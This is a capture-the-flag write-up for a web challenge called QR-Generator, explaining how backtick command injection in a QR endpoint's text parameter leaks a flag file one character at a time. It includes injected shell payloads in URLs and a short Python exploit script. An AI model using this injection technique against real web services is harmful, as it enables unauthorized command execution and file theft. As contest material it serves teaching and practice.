Rating: 4.0

# QR-Generator
Web

> I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look?
>
> http://challs.houseplant.riceteacatpanda.wtf:30004
>
> Hint! For some reason, my website isn't too fond of backticks...

The backticks seem to indicate the typical bash injection.

The endpoint where the actual QR code is processed is at `/qr?text=<text>`.

Scanning some sample QR codes reveals that it only encodes the first letter of whatever is encoded. On errors, it redirects to `/error.jpg`.

We can try injecting ``/qr?text=`ls` `` (the extra space isn't necessary, markdown just doesn't like literal backticks). Scanning the generated QR code gives us an `R`.

To get the full character, we can iterate through characters of the stdout of the command: `<cmd> | head -c n | tail -c 1` where n is the n'th character of stdout.

We can use this trick with `ls` to get the directory listing. We find that there is a `flag.txt`. The following script extracts the contents of `flag.txt`.

```python
from pyzbar.pyzbar import decode
from PIL import Image

import urllib.request

url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=`cat%20flag.txt|%20head%20-c%20{}%20|%20tail%20-c%201`"

i = 1

while True:
temp = url.format(i)
urllib.request.urlretrieve(temp, "qr.jpg")

print(decode(Image.open("qr.jpg"))[0].data.decode(), end="")

i+=1
```

Flag: `rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}`

Original writeup (https://github.com/joshdabosh/writeups/blob/master/2020-HouseplantCTF/web/QR-Generator.md).